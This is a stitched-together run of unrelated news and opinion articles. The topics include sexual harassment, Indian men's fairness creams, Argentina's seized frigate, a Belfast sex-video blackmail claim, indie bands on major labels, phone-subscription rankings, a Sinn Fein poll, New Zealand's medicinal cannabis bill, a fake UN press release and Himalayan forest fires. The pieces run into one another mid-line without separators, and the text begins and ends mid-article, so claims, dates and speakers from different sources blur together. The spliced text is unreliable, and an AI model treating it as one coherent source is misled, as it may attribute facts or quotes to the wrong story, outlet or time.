The male-dominated culture makes it all somewhat OK.
There’s a psychological concept known as “social proof,” which means when someone you admire and see as similar to you does something, he or she sends a message that the behavior is OK, explains Stefanie K. Johnson, an assistant professor at the business school at the University of Colorado Boulder.
“If no one is doing anything about [harassment against women], it teaches you that it’s accepted and appropriate behavior. It’s modeling,” she said.
Johnson even said that it’s possible that the recent outpouring of anecdotes of harassment, assault and egregious behavior would actually serve as more social proof to some men. If everyone is doing it ― from editors to producers to presidents ― how bad could it really be?
All these behaviors, taken together, amount to a massive universal modeling: We are taught things about women and men that inevitably lead to these egregious outcomes.
There’s no doubt that women are increasingly more willing to speak up. We wouldn’t know about the allegations against Weinstein if several brave actresses hadn’t shared their stories with The New York Times and The New Yorker. Their collective power got him fired. A similar firestorm engulfed Ailes after former Fox News host Gretchen Carlson sued him.
These are cases in which the behavior was so egregious and sustained ― and the people involved so famous ― that eventually the protective bubble of power cracked. The stories seeped out, thanks also in part to the presence of more women reporting on sexual harassment. But these are exceptions.
And though recent weeks bring new hope that we’ve reached a more enlightened era, there are no signs that the male power structure is cracking anytime soon. Just look who runs the country.
Women aren’t expected to reach equality with men in the business world for about another 100 years, according to another Lean In study.For generations, companies have been selling fair skin to young Indian women, promising better marriage and employment prospects. However, over the last few years, men have became a favoured target audience. This followed the realisation that the Indian alpha male, denied a choice in male-specific grooming products, had been using women’s fairness creams all along.
Until the mid-2000s, deodorants and shaving creams were the only grooming products advertised for men. But India’s largest consumer goods companies sensed an opportunity, and launched a slew of fairness products for male consumers.
“The men’s fairness segment came about because almost one-third of users of women’s fairness creams were men,” says Dheeraj Sinha, chief strategy officer at advertising agency Leo Burnett. “They simply transferred the already existing market.”
That led to a boom in the men’s skin-care industry in India. Over the last five years, the men’s grooming market has grown by over 40% and is worth around Rs5,000 crore. Though it’s still driven largely by the sale of deodorants and shaving products, fairness creams account for around Rs400 crore in sales. In 2015, these products dominated the men’s skin care market in India, according to data from research firm Euromonitor International.
But men looking for anything other than a fairness cream have limited choices, even as the skin-care options for women include everything from anti-ageing lotions to sunscreen protection for every possible skin type, alongside the vast range of whitening products. Both foreign and local companies, from Beiersdorf (which sells Nivea in India) and L’Oréal to Hindustan Unilever and Emami, have put whitening creams and face washes for men front and centre in India.
Kolkata-based consumer goods major Emami has built an entire range of products under its decade-old Fair And Handsome brand, including a moisturising cream, an “instant fairness” face wash, and a winter product for dry skin. Many of these products are endorsed by Bollywood actors Shah Rukh Khan and Hrithik Roshan. Emami declined to comment for this story.
The international brand Nivea sells a wider range of products for men, including face washes, scrubs, and lotions that offer “oil control,” “all-in-one” solutions,” and “dark spot” reduction. However, of its five face cleansers, four carry the “10x whitening effect” label, while two of its three face creams carry the whitening tag. Outside India, the company focuses on selling products for sensitive or oily skin. Emails sent to Nivea did not elicit a response.
Company website Nivea’s portfolio of men’s skin care products, many of which carry a label promising “10x whitening.”
Hindustan Unilever (HUL), the Indian arm of the Dutch-British conglomerate, has been selling Fair & Lovely for men since the late 2000s. The brand is now endorsed by Bollywood actor Varun Dhawan and the range includes creams and face cleansers—all of which are whitening products. The Fair & Lovely Men Max Oil-Control Fairness face wash, for instance, promises “visible fairer-looking skin.” HUL’s Pond’s brand also sells a men’s grooming range that has a few products that promise a whitening effect, alongside anti-pollution and oil control effects. HUL declined to respond to email queries sent by Quartz.
company website
Meanwhile, L’Oréal-owned Garnier’s portfolio is more diversified but a number of its products also promise skin whitening, such as the Power White face wash, the Acno Fight day cream, Intense Fresh face wash, and the Power Light range of face wash and moisturisers. Five of its eight products offer a fairness effect, according to information available on the company’s website.
company website Garnier’s men’s skin care offerings.
L’Oréal did not respond to requests for comments.
Brand experts, however, believe that all these products are just a reflection of India’s biased society.
Not so fair
In India, as in other parts of the world, light skin is the culturally accepted and endorsed form of beauty, and children absorb this message at a young age.
According to a 2015 research report by Nielsen, urban Indian men believe that fair skin can improve professional prospects.
The cultural pressure to look fair, argues Kiran Khalap, branding expert and founder at communications consultancy Chlorophyll, is something inherent in our society, not manufactured by companies. |
elsewhere in the review Wu describes Crawford’s love of motocycles and dislike of automobiles that insulate us from direct encounters with the world, a reference to Kant’s preference for just staying home might seem appropriate… but no. It’s sex. It’s always sex. See Tom Stoppard’s “Arcadia”:
Hannah: Sex and literature. Literature and sex. Your conversation, left to itself, doesn’t have many places to go. Like two marbles rolling around a pudding basin. One of them is always sex. Bernard: Ah well, yes. Men all over. Hannah: No doubt. Einstein—relativity and sex. Chippendale—sex and furniture. Galileo—“Did the earth move?” What the hell is it with you people?
Hannah’s point, of course, is that it’s not “men all over”—it’s Bernard. But who isn’t Bernard these days?
UPDATE: Tim Wu responded very graciously on Twitter to this post, and explained that he referred to Kant’s unsex-life, or sex-unlife, in order to suggest that Kant’s understanding of freedom may have been overly abstract. I’m going to risk ungraciousness in reply by saying that the association of sexual experience with personal freedom is a (perhaps the) founding axiom of our current sexual ideology, but one that’s pretty hard to sustain if we are honest about our lives. I wrote about this some years ago in relation to Anne Carson and Sappho.
And one more point. In “Sext,” the third poem of the great sequence “Horae Canonicae,” Auden speaks with reverence of those who have managed to take the “prodigious step” of ignoring the power of “the appetitive goddesses” to focus their attention on what fascinates them.
There should be monuments, there should be odes,
to the nameless heroes who took it first, to the first flaker of flints
who forgot his dinner, the first collector of sea-shells
to remain celibate. Where should we be but for them?
Feral still, un-housetrained, still wandering through forests without
a consonant to our names, slaves of Dame Kind, lacking
all notion of a city.
Maybe those people — and maybe Kant was one of them — know something about freedom ungraspable by those enslaved to the appetitive goddesses.
Alan Jacobs is a Distinguished Professor of the Humanities in the Honors Program at Baylor University in Waco, Texas, and the author most recently of The Book of Common Prayer: A Biography.
Follow @ayjaySo you're a super-rich American investor and a large South American country owes you $1.6 billion, which it refuses to pay in full.
You can take a partial settlement that others have taken - which reportedly would get you just 30 cents on the dollar - or you could do something a little more drastic and, say, seize a high-profile naval vessel belonging to the offending country. What do you do?
Such was the real-world problem facing billionaire Paul Singer before he decided on option B, and his company convinced a small African nation to seize Argentina's Libertad frigate.
As reported by Bloomberg.com, the ship's seizure is the latest salvo in a standoff between Singer, a hedge fund kingpin and one of the largest GOP donors this election season, and the government of Argentina. The two have been locked in a global dispute over the reported $1.6 billion debt claim that resulted from the country's nearly $100 billion default a decade ago.
Caught in the middle this time is the historic frigate ARA Libertad and the West African nation of Ghana. The stately, three-mast ship was seized three weeks ago after it docked in Ghana, where a local court ruled the ship could be held on behalf of NML Capital, a subsidiary of Singer's investment group, Elliot Management Corp. More than 300 Navy sailors stayed with the ship until the Argentinean government ordered them to abandon it earlier this week. They returned home Thursday.
Top Argentinean officials have reportedly accused the Ghanaian government of violating rules of diplomatic immunity and likened NML Capital's actions to a " vulture fund" involved in international extortion.
In a "Braveheart"-worthy declaration earlier this week, Argentinean President Cristina Kircher said on national television, "They may keep our frigate, but not our freedom."
Argentina's Foreign Minister, Hector Timerman, said Thursday he was confident the nation would get its ship back without negotiating with NML Capital, noting that such seizures had happened before - an astounding 28 times.
Today the Buenos Aires Herald listed several notable seizures including the grounds of the Argentinean ambassador's residence in the U.S. in 2004 and the president's private jet in 2007. Each were eventually returned. The frigate is estimated to be worth just 1 percent of the outstanding debt, Bloomberg reported.
As ABC News previously reported, Singer has made a name for himself in the high-dollar game of political donations. He has donated millions to Republican candidates in the last two election cycles but his most important role may be as a "bundler" for Presidential candidate Mitt Romney. He helped Romney raise $5 million with a single Manhattan fundraiser in May.
INTERACTIVE: 25 Wealthy Political Donors Who've Given Millions in 2012
Bloomberg reported the Libertad's sailors were flown out of Ghana on a French commercial jet. Apparently the Argentinean government was afraid that if any Argentinean assets were sent to retrieve them, they too would be seized.
A call for comment on this report from Elliot Management Corp were not immediately returned. Representatives for NML Capital, which is listed on its website as being based in Cyprus, also did not immediately return after hours requests for comment.Belfast loyalist Stitt's ice cream shop sex shame BelfastTelegraph.co.uk A former loyalist prisoner who recorded himself performing a sex act in his UDA leader cousin’s ice-cream shop has claimed to be the victim of blackmail. https://www.belfasttelegraph.co.uk/sunday-life/belfast-loyalist-stitts-ice-cream-shop-sex-shame-35082497.html https://www.belfasttelegraph.co.uk/incoming/article35082498.ece/48495/AUTOCROP/h342/Billy%20Stitt28.jpg
Email
A former loyalist prisoner who recorded himself performing a sex act in his UDA leader cousin’s ice-cream shop has claimed to be the victim of blackmail.
A 30-second video of ex-UDA prisoner William ‘Billy’ Stitt pleasuring himself behind the counter of Fonzie’s Ice-cream Parlour on the Newtownards Road in east Belfast was uploaded onto YouTube on Friday.
It was removed a short time later, but not before being downloaded and shared between thousands of people.
The hugely popular Fonzie’s is part-owned by Bangor UDA boss Dee Stitt, who last night sacked his cousin Billy over his sleazy shop antics.
Dee Stitt said: “My sympathy is with the individual, but the engagement happened on my premises and that constitutes gross misconduct. He (Billy) has been sacked.”
In a telephone call to Sunday Life yesterday a sheepish Billy Stitt — who was jailed in the 1990s with Dee for attempted UDA robbery and weapons possession — claimed to be the victim of blackmail.
He said he was duped into performing the sex act by a female member of a foreign crime gang and had contacted the PSNI.
“I’m a victim of crime,” pleaded ice-cream man Billy, who denied Dee Stitt had anything to do with Fonzie’s, despite being listed as a director of its owner, DSWSTM Ltd.
Billy admitted that he was the man in the ice-cream shop sex video and conceded it was recorded in Fonzie’s, but added: “It’s not like that at all. It’s not what you think it is.”
When asked who was trying to blackmail him, Billy replied: “I don’t actually know. Because it’s coming from a foreign country we don’t actually know who it is.”
The former UDA jailbird confirmed it was a woman he was having cyber-sex with and that she was “well over age”.
He said: “I reported it to the police, I went to the police myself, I phoned them and told them what was going on.
“They were targeting my family and friends of mine, and asking for money as well. They were sort of trying to put pressure on me to hand money over.”
Billy says he has no idea how foreign criminals got hold of his ice-cream shop sex video, claiming: “They have been text messaging me threatening my life, saying ‘we’re going to kill you’ and this, that and the other. I phoned the police, so it’s in the hands of the police.”
In the 30-second sex video, Billy Stitt films himself walking around the Newtownards Road ice-cream parlour after closing time with a huge grin on his face.
Suddenly he exposes himself to the camera and begins caressing his genitals.
He was freed from prison in 1997 after serving half an eight year jail term for an attempted UDA robbery and possessing weapons.
Back in 2000 the loyalist appeared in a television documentary with his wife Sandra, talking about the difficulties in adapting to life after jail.
He is extremely close to his Bangor UDA boss cousin Dee Stitt, and like the bald terror thug is a member of the North Down Defenders Flute Band.
According to the Companies House website Dee Stitt is one of three directors of DSWSTM Ltd, which owns Fonzie’s Ice-cream Parlour.
Billy Stitt has worked in the shop since it opened earlier this year and is often seen behind the counter making ice-cream treats for customers.
Belfast Telegraph DigitalOn August 6, Arcade Fire celebrated their third straight No. 1 album, Everything Now. But the band’s Columbia Records debut had glaringly low streaming numbers, and by the following week, it had dropped out of the Top 10 altogether.
Everything Now was the first of several albums this summer from bands who’ve typified indie rock, a classification once denoting release by independent label but now used as a genre catch-all. Grizzly Bear, whose last three albums were on Warp, last week released Painted Ruins through RCA, which like Columbia is owned by Sony. The War on Drugs, who’ve released three albums on Secretly Canadian, moved to Warner Music subsidiary Atlantic for A Deeper Understanding, out August 25. Though LCD Soundsystem, perhaps unbeknownst to fans, have released all of their albums jointly on leader James Murphy’s DFA Records as well as various major labels, American Dream will be their proper Columbia debut, come September 1.
These releases may present something of an acid test for “indie” music in the streaming era. Bands like Arcade Fire once epitomized how the internet was supposed to allow great music to reach wider audiences regardless of labels and radio viability. But in today’s attention economy, so-called “internet bands” looking to level up don’t have a home-turf advantage. With this rash of recent major label signings, the question seems to be: Can the Big Three help these bands better navigate the shift to streaming?
If anyone can do it, the majors—Sony, Warner, and Universal—have positioned themselves to be the ones. At least in Spotify’s case, the labels reportedly own almost 20 percent of the company. In 2015, Spotify specifically banned payola, following a report suggesting major music groups were paying for placement on playlists. Regardless, the majors are faring better than indie labels at getting their songs on streaming services’ all-important playlists, says Berklee music-business professor George Howard, an industry veteran who ran the Rykodisc label when it was still independent. “It’s ‘meet the new boss, the same as the old boss,’” he tells me, drawing a parallel to radio. “There’s certainly a defensible thesis that Spotify is the new kingmaker, and if they choose to make your career, they can.” (Spotify declined to comment for this story.)
Scott Rodger, who manages Arcade Fire, Paul McCartney, and Shania Twain, points me to various artists’ pages on Spotify. Arcade Fire have 5 million monthly listeners on the streaming service. Radiohead have 6 million, while Grizzly Bear, the War on Drugs, and LCD Soundsystem all have more like 2 million. But Imagine Dragons, while critically scorned, have 30 million-plus. And the most popular artists right now, like “Despacito” hitmakers Daddy Yankee and Luis Fonsi, along with Ed Sheeran and Calvin Harris, have upwards of 40 million. “With the world moving towards streaming, most indie or alternative acts simply don’t stream as well,” Rodger says.
The disconnect is clear from Arcade Fire’s first-week numbers. Everything Now totaled 7.9 million streams in its first week, compared with 46 million for the No. 2 album, Kendrick Lamar’s four-month-old DAMN., which returned to No. 1 the following week. Indeed, Everything Now’s first-week streaming total was the lowest for a chart-topping album since Bon Jovi’s This House Is Not for Sale in November. But streaming is a different business than selling. Based on figures Rodger shares with me, there were some 60,000 fewer iTunes downloads of Everything Now than of Arcade Fire’s last album, 2013’s Reflektor. Given Billboard’s streaming math, where 1,500 streams equals one album sale, it would have taken 90 million streams to make up that difference on the charts. “We’re probably still getting the same amount of people in real terms listening to the music,” Rodger says, “but it’s not volume enough to make a dent on streaming.”
The dismal streaming result was not for lack of effort to reach new listeners. “Our whole ambition on this campaign was just, how do we engage our audience and try to be a talking point for people who have never heard of our band?” Rodger says. “How do we become that talking point over dinner, over coffee, over breakfast? That really was our ambition. We’re not gonna be on daytime TV.”
Grizzly Bear’s Painted Ruins, the band’s first album in five years, could face a similar streaming challenge on this week’s charts, despite prominent placement on Apple Music and Spotify pop-ups heralding its arrival. Only one of its pre-release singles has charted on Billboard’s Spotify Viral 50, versus two from Everything Now. “May sound strange but record sales do matter!” Grizzly Bear tweeted ahead of the release, adding, “If u got the 8 bucks (cheapest pre order) to spare to digitally pre order u have no idea how much that helps! ❤️❤️❤️❤️❤️ ” As for the War on Drugs’ A Deeper Understanding, its singles haven’t cracked the Spotify Viral 50, but “Holding On” has peaked so far at No. 4 on Adult Alternative Songs, the same airplay chart that recently gave 4AD signees the National their first-ever No. 1 on a Billboard songs chart. Meanwhile, both singles from LCD’s upcoming American Dream charted on the Spotify Viral 50. It seems likely all will debut strongly on the Billboard 200 chart, but whether the growth they’ve all experienced since their last albums will be apparent is another matter.
Streaming, of course, is only one reason indie acts join the majors. Bands like Arcade Fire sign to major labels because they want to have globally coordinated efforts behind their music, not the patchwork of labels that usually results from indie deals, Rodger explains. Reflektor was Arcade Fire’s first album with distribution by Universal, but Universal handled some of the band’s overseas releases going as far back as 2006’s Neon Bible. It’s not hard to see why Arcade Fire might prefer having a single label supporting their album worldwide instead. “They want to play with the Beyoncés, the Taylor Swifts,” Rodger says. “They will never be as big as some of those acts, but they want to play in the same field.”
To that end, radio, like streaming playlists, is another area where major labels are traditionally viewed as having an advantage. With Reflektor, Arcade Fire enlisted Universal’s Capitol Records for radio promotion, which helped lead to the title track sneaking onto the Hot 100 chart for the band’s first time ever (at No. 99). At the time, Chris Molanphy speculated in this space whether Arcade Fire might be having their pop coming-out party—and there’s likely no way to play at radio alongside the Beyoncés and the Taylor Swifts without major-label backing. “The only guys that are going to get you on pop radio are the majors, or people with a bona fide promotion system,” says Matt Pincus, founder and CEO of SONGS Music Publishing, whose clients include Lorde, the Weeknd, and Diplo. “Alternative radio doesn’t move volume anymore.”
The old indie notion that signing with a major label means giving up artistic freedom seems less certain as well, at least for top-tier indie bands who’ve demonstrated that they can draw devoted audiences. “We delivered a record, we paid for it ourselves,” says Rodger, the Arcade Fire manager. “Zero label involvement at all, 100 percent creative controlled by the band.” Grizzly Bear and the War on Drugs expressed similar sentiments in my interviews with them earlier this summer. But history is filled with cautionary counterexamples. From the mid-’00s indie boom alone, one of the first bands to sign to a major label, Death Cab for Cutie, later admitted they had downplayed how hard it really was. “The period when we were transitioning from Barsuk to Atlantic was the most difficult thing that will ever happen to us,” Death Cab’s Ben Gibbard said in the 2008 run-up to the band’s second album on Atlantic. “I guess we never realized in advance that this is going to feel uncomfortable, and this is going to feel weird.”
It’s not as if relentless pursuit of scale is the only way for ambitious artists to succeed commercially. “I don’t believe that’s the future we have to go for,” says Maggie Vail, executive director of CASH Music, a nonprofit offering free digital tools for musicians. She points to Run the Jewels, who gave away downloads of their self-released new album RTJ3 weeks early but sold physical records and toured nonstop behind it, including a four-night stand at New York’s Terminal 5. “Their email list is one of the largest in the music industry—it’s like 700,000 people at this point,” says Vail, a former longtime employee of respected indie label Kill Rock Stars. “They’re the opposite example of this.”
If the bands at the top of the indie heap can’t succeed in the streaming era with the help of the majors, what does that mean for even smaller acts? “Streaming is the biggest issue that all indie bands have, unfortunately,” Rodger says. “I think it’s even tougher on the brand-new and developing acts. It’s very, very tough for new indie bands to give up a day job and become a band full-time.” Whether these established acts flourish online now could foreshadow the mainstream path ahead for the next generation of indie-ish artists, at least until the industry—really, the technology that drives it—inevitably shifts again.Source: ITU World Telecommunication/ICT Indicators Database
Editor's note: In our Comparisons series, we examine statistics or world rankings to show how different countries and territories stack up with one another.
(CNN) -- China's two special administration regions -- Macau and Hong Kong -- have more cell phone subscriptions per capita than anywhere else in the world.
For every 100 people in Macau, there are 206.43 cell phone subscriptions, according to recent statistics from the International Telecommunications Union. Hong Kong is second with 190.21 subscriptions for every 100 people.
China, the world's most populous nation, has the most cell phone subscriptions in the world: just more than 859 million. But there are only 64.04 subscriptions per 100 people, ranking it 150th on the list above.
The United States ranks 114th, with 89.86 subscriptions per 100 people.
At the bottom of the list is Myanmar, where there are only 1.24 subscriptions for every 100 people. North Korea is second from bottom with 1.77. Most of the bottom 25 consists of poor African countries.
Joining Macau and Hong Kong in the top five are Saudi Arabia, Montenegro and Panama.
Oil-rich countries are well-represented in the top 20, with Saudi Arabia joining Libya (9), Russia (11), Oman (12), Kuwait (14) and the United Arab Emirates (20).
More Comparisons:
Which countries are perceived to be the most corrupt?
Which country has the smallest gender gap?
Where is the Internet most popular?
Where are the undernourished?
Where do people live the longest?Revealed: How many Sinn Fein supporters back Westminster abstention policy? BelfastTelegraph.co.uk Sinn Fein's supporter base are overwhelmingly in support of their policy to abstain from taking their seats at Westminster, latest polling suggests. https://www.belfasttelegraph.co.uk/news/northern-ireland/revealed-how-many-sinn-fein-supporters-back-westminster-abstention-policy-35869874.html https://www.belfasttelegraph.co.uk/news/northern-ireland/article35868498.ece/29708/AUTOCROP/h342/2017-06-27_new_32373144_I4.JPG
Email
Sinn Fein's supporter base are overwhelmingly in support of their policy to abstain from taking their seats at Westminster, latest polling suggests.
Belfast-based polling and market research company LucidTalk carried out a survey to gauge public opinion as part of its monthly 'tracker poll'. The online poll targeted their 8,827 member NI Opinion Panel - of which 2,883 responses were received.
In an overwhelming endorsement of the Sinn Fein’s leadership position the results reflect what the party's voters only said about its Westminster abstention policy.
Of those who took part 87% fully support the policy, with 70% ‘totally agreeing’ with it.
Only 5% (i.e. 1 in 20) of Sinn Fein supporters totally disagree with the policy. 7% don’t agree, but are not overly concerned either way.
In addition, Sinn Fein supporters were asked 'If the Sinn Fein leadership changed their Westminster abstention policy, would you support/accept this’?
Over 50% would either not like this policy change, or would be totally against this policy change, with 30% being totally against this change of policy.
Read More: Demographics shifting towards united Ireland - we must have a plan
Revealed: How many voters want power-sharing restored in Northern Ireland?
Overall the Sinn Fein voter base would be split on this issue – but overall this is a major endorsement of Sinn Fein’s current policy position on this issue.
The Lucid Talks poll results show that even if the Sinn Fein leadership wanted to change policy on this issue, it would be very dangerous for them to change this policy, as a substantial part of their support base would be against this policy change, and may let their views be known.
Methodology:
Polling was carried out by Belfast based polling and market research company LucidTalk. The project wascarried out online for a period of 60 Hours from 11am 21st June to 11pm 23rd June 2017 (60 Hours). The project targeted the established Northern Ireland (NI) LucidTalk online Opinion Panel (8,827 members) which is balanced by gender, age-group, area of residence, and community background, in order to be demographically representative of Northern Ireland. 2,883 full responses were received, and a data auditing process was carried out to ensure all completed poll-surveys were genuine 'one-person, onevote' responses, and also to collate a robust and accurate balanced NI representative sample. This resulted in 2,080 responses being considered in terms of the final results - the results presented in this report. All data results have been weighted by gender and community background to reflect the demographic composition of Northern Ireland resulting in 2,080 responses being considered in terms of the final results. All data results produced are accurate to a margin of error of +/-3.0%, at 95% confidence.
Belfast Telegraph DigitalTerminally ill people who possess and use illicit cannabis will be protected from prosecution under legislation introduced today.
Photo: VOISIN / Phanie
The government has unveiled its Misuse of Drugs Amendment Bill to make medicinal cannabis more available to people with terminal illness or chronic pain.
Under the legislation, domestic cultivation and manufacture of medicinal cannabis products will be allowed.
An advisory committee will be established to review the rules for prescribing medicinal cannabis and to set minimum product quality standards. The government said this was to improve patient safety and boost confidence among doctors.
As an interim measure, the law would create a legal defence for possession and use of illicit cannabis for those in their last year of life.
However, the Drug Foundation said the changes did not go far enough.
Health Minister David Clark said making medicinal cannabis more readily available would help relieve the suffering of people who were dying in pain.
He said legislation would, in time, result in greater supply of quality medicinal cannabis, including products made in this country.
Based on the Australian experience, that was likely to take up to two years to happen.
"However, there will be people who can't wait. As an interim measure the legislation will create a legal defence for possession and use of illicit cannabis for people who are expected by their doctors to be in their last year of life. This does not make it legal for the terminally ill to use cannabis, but it means that they will not be criminalised for doing so."
It will remain an offence to supply cannabis to such terminally ill people without a valid prescription from a doctor.
Changes were not being considered to the general possession law for cannabis under the scheme, however, Dr Clark said the law may be reviewed after the planned referendum on recreational cannabis use.
Dr Clark said there was increasing evidence to support the use of medicinal cannabis, including the World Health Organisation noting last week that cannabidiol, one of at least 113 active cannabinoids found in cannabis, "could have therapeutic value and did not carry any addiction risks".
Currently, a person must have a doctor's prescription, and for products containing THC [tetrahydrocannabinol], the doctor must apply to the Health Ministry for approval to prescribe. The exception was the drug Sativex for multiple sclerosis.
There are two combination THC and CBD [cannabidiol] products available, according to extra information supplied by Dr Clark. One was Sativex and the other a non-approved product.
If an alternative product was required, the doctor or a wholesaler or pharmacist must import it under the planned changes, and an import licence from the ministry would be needed.
No product was currently funded, and whether that changed would be up to the drug-buyer Pharmac.
When the new scheme was operational, patients with a prescription would be able to access medicinal cannabis at a pharmacy.
The committee to be established under the legislation would advise on prescribing, and whether pre-approval from the ministry should continue.
Dr Clark said 9000 people died from cancer each year but it was not known how many terminally ill people would want to use cannabis.
Bill should go further - Drug Foundation
The Drug Foundation said a legal protections in the bill does not go far enough and must be fixed.
It said while it welcomed the legislation, the two years it would take to be fully operational was too long.
"The bill simply does not go far enough to cover people with chronic pain and any terminal illness and needs to be fixed by the select committee," foundation executive director Ross Bell said.
In the meantime, all patients needing medicinal cannabis, and its suppliers, should be protected from prosecution, not just the terminally ill, it said.No, the United Nations Office did not create a "4/20" policy.
But some at the U.N. may be wondering what the Los Angeles Times is smoking.
Earlier this week, the Times reported that the United Nations Office on Drugs and Crime was holding a three-day summit around April 20 -- aka 4/20, aka the pot smoker's holiday -- at which it would unveil "new international recommendations" decriminalizing marijuana.
Unfortunately for the Times, the article was largely based on a fake press release.
The fake release, which was published on a site designed to look like the UNODC's, announced that the office was unveiling an "historic 4/20 policy" to decriminalize marijuana. It also featured a false statement attributed to Yuri Fedotov, the UNODC executive director, and "UNODC Public Information Officer Kevin Campo."
Both of these statements were featured in the L.A. Times article. And while Fedotov is a real person, "Kevin Campo" is the name you get when you combine the names of the UNODC's two spokespeople: Kevin Town and Carlos Gomez del Campo.
Town, one of the actual public information officers for the UNODC, confirmed that the release was fake and said they had been told that the L.A. Times was "rectifying" the article.
The fake press release was first flagged by Tom Angell of Marijuana.com.
On Friday afternoon, the Times appended a correction to the story: "Though the U.N. was indeed examining policy changes," the statement reads, in part, "[Fedotov's] statement was based on a news release that was a hoax. Fedotov's other comments in the story were based on an email conversation he had with The Times. The article also quoted Kevin Campo, who was identified in the fake press release as a spokesman for the U.N. agency. He is not an agency spokesman."
But just how the article remained on the Times site for three days, despite the fact that the UNODC never made what would have been an historic "4/20" policy recommendation, is a mystery.
It also remains unclear who was behind the trickery.
Meanwhile, someone with the Twitter account @KevCampoUN has been promoting the L.A. Times article and the false press release aggressively.The Republican Jewish Coalition, the most powerful organization among politically conservative Jews, is formally backing the nomination of retired Marine Gen. James “Mad Dog” Mattis as Secretary of Defense.
In a press statement, RJC Executive Director Matt Brooks said:
“The selection of General Mattis to serve as Secretary of Defense is a smart and important decision by President-elect Trump. Throughout his career, General Mattis has made the protection of the United States, our assets, and our allies around the world, his top priority. General Mattis believes in a strong U.S. military posture and understands of the threats we face, like a newly aggressive Iran. He has the type of worldview the leader our Defense Department needs. “For decades, bipartisan national security and foreign policy experts, representatives of our allied nations, respected foreign policy think tanks, and pro-Israel organizations have praised General Mattis’ work. We are happy to stand with them and fully support this appointment.”
In 2013, the RJC led the fight against the nomination of former Sen. Chuck Hagel (R-ND) as Secretary of Defense, based on Hagel’s track record of anti-Israel statements and his support for what critics called a posture of appeasement toward Iran.
As Breitbart News noted Thursday, Mattis has come under criticism for remarks about Israel that he made during a speech at a conference in 2013. The Zionist Organization of America has opposed Mattis’s nomination; the Jewish Institute for the National Security of America has supported it.
On the left, the National Jewish Democratic Council (NJDC) has criticized Mattis’s nomination (using it as an opportunity to take a gratuitous swipe at Breitbart News and Executive Chairman Stephen K. Bannon, who is on leave from the company as he takes up a post in the Trump administration.)
The @NJDC already criticizing Mattis appointment before it being announced or confirmed by transition team pic.twitter.com/YJF7EhFFYB — Jacob Kornbluh (@jacobkornbluh) December 1, 2016
The far-left group J Street, which supported Hagel’s confirmation enthusiastically in 2013, has evidently been too busy defending Rep. Keith Ellison (D-MN) against charges of antisemitism to respond to the Mattis nomination.
Ellison, a candidate for Democratic National Committee chair, claimed in 2010 that U.S. policy in the Middle East is “governed” by Israel.
Joel B. Pollak is Senior Editor-at-Large at Breitbart News. His new book, See No Evil: 19 Hard Truths the Left Can’t Handle, is available from Regnery through Amazon. Follow him on Twitter at @joelpollak.How bad are the forest fires in Uttarakhand and Himachal Pradesh? How much area is affected and where?
Advertising
Over 4,500 hectares have been affected in Himachal Pradesh, some 40% more than the 3,185 hectares in Uttarakhand. The latter state has seen 1,470 incidents of fire so far — 803 (affecting 1,413.58 ha) of which were in the Garhwal region, 463 (1,076.21 ha) in Kumaon, and 204 (695.65 ha) in wildlife zones. With 10,000 personnel and two IAF choppers fighting the blaze, however, only 40 fires were active on Monday, the government said, and union Minister Kiren Rijiju said the “situation is under control now”. In Himachal Pradesh, 578 incidents of fire have been reported so far, affecting six districts: Shimla, Solan, Una, Bilaspur, Kangra, Hamirpur and Sirmaur. Most of the Himachal fires are ground fires. Barring the Taradevi forests and a dozen places in Bilaspur and Una, they had been brought under control by Monday. A forecast of rain by the Shimla Met station has raised hopes that all fires will be out in the next two or three days, S S Negi, Director General of Forests in the central Ministry of Environment and Forests, said.
[related-post]
When and how did the fires start? How common are wildfires in India? Are some forests more vulnerable than others?
Wildfires are an annual occurrence in Uttarakhand, though they have been bigger and more widespread this year. The fire season usually begins from mid-February and lasts until mid-June, when the rains arrive. This year, the fires started early — the first incident was reported on February 2. In Himachal, the first fire was reported on April 7. Their frequency and intensity increased after April 25, the day the state saw 80 incidents of fire.
Advertising
A report titled Forest Fire Disaster Management, prepared by the National Institute of Disaster Management, a body under the Ministry of Home Affairs, in 2012, said about half of India’s forests were prone to fires. 43% were prone to occasional fires and 5% to frequent fires, and 1% were at high or very high risk, the report said, quoting data from Forest Survey of India’s State Forest Report, 1995, a compilation of 25 years of observations and analyses.
More than 95% of wildfires in India were man-made, the FSI report said. On Monday, three people were arrested from Pithoragarh and Nainital in Uttarakhand for causing fires by burning dry chir leaves. Villagers reportedly burn leaves and grass in order to get better growth of grass the following year. They also burn the needles of the chir pine, which form a slippery carpet on the ground. “In the Terai region, honey collectors often start fires to drive away bees,” says B P Gupta, Principal Conservator of forests.
The 2012 report quoted the FSI’s 1995 analysis as saying 1.45 million hectares of forest were affected annually by fire; it also quoted an assessment by the Environment Ministry’s Forest Protection Division, which put the figure at 3.73 million hectares. During the period 1990-2011, the worst incidents of wildfires occurred in Uttarakhand in 1995, in which 3,75,000 ha was affected, followed by the Ganga-Yamuna watershed area (1999, 80,000 ha), Himachal Pradesh (2010, 19,109 ha), and two fires in Maharashtra in 2008 and 2010, in each of which some 10,000 ha was affected, the 2012 report said. March-May is the peak fire season for most states.
How have the authorities been tackling the fires? How effective has the intervention been so far?
The Uttarakhand Forest Department has employed 9,000 men — 3,500 regular staff, the rest daily wagers, to work with three teams of the NDRF and one of the SDRF, with 45 people in each team. Forest officials say the traditional method of “beating the fire down” with green branches work best. Two IAF Mi-17s have been flying sorties to dump water picked from the Bhimtal lake and the Srinagar, Garhwal, reservoir over the affected areas of Kumaon and Garhwal. The government has banned people from carrying matchboxes to forests, and is running awareness campaigns. However, critics say the measures are too late and too little. Many have argued for more modern systems of fire monitoring alongside traditional methods like maintaining fire lines, so there is a clearing between two forests to prevent the fire from spreading from one to the other. Environmentalists like Nainital-based Shekhar Pathak have underlined the need for greater interaction between villagers and the Forest Department. In Himachal too, “fire beating” and clearing of “fire lines” is under way. The third method of “counter fire” too is being adopted — with forest officials starting fires from the opposite end of a forest to check the flames at a defined boundary.
What is the extent of the damage? Have any farmlands, human habitation or wildlife been affected?
The preliminary losses in Himachal have been estimated at Rs 57 lakh. This damage is assessed in terms of loss to new plantations. No loss of human life or heads of cattle, or destruction of human habitation has been reported so far. The 2012 report estimated the annual replacement cost of seedlings at Rs 4,400 million. The real losses however, are ecological and social — those of biodiversity, timber, soil moisture and nutrients, etc., besides the environmental impact of heavy smoke rising from the fires.
Is there any benefit to be had from periodic forest fires?
Wildfires are sometimes a natural process, and help forests by promoting flowering, branching and seedling establishment. Himachal Principal Chief Conservator of Forests S P Vasudeva says fires that are limited to the surface |
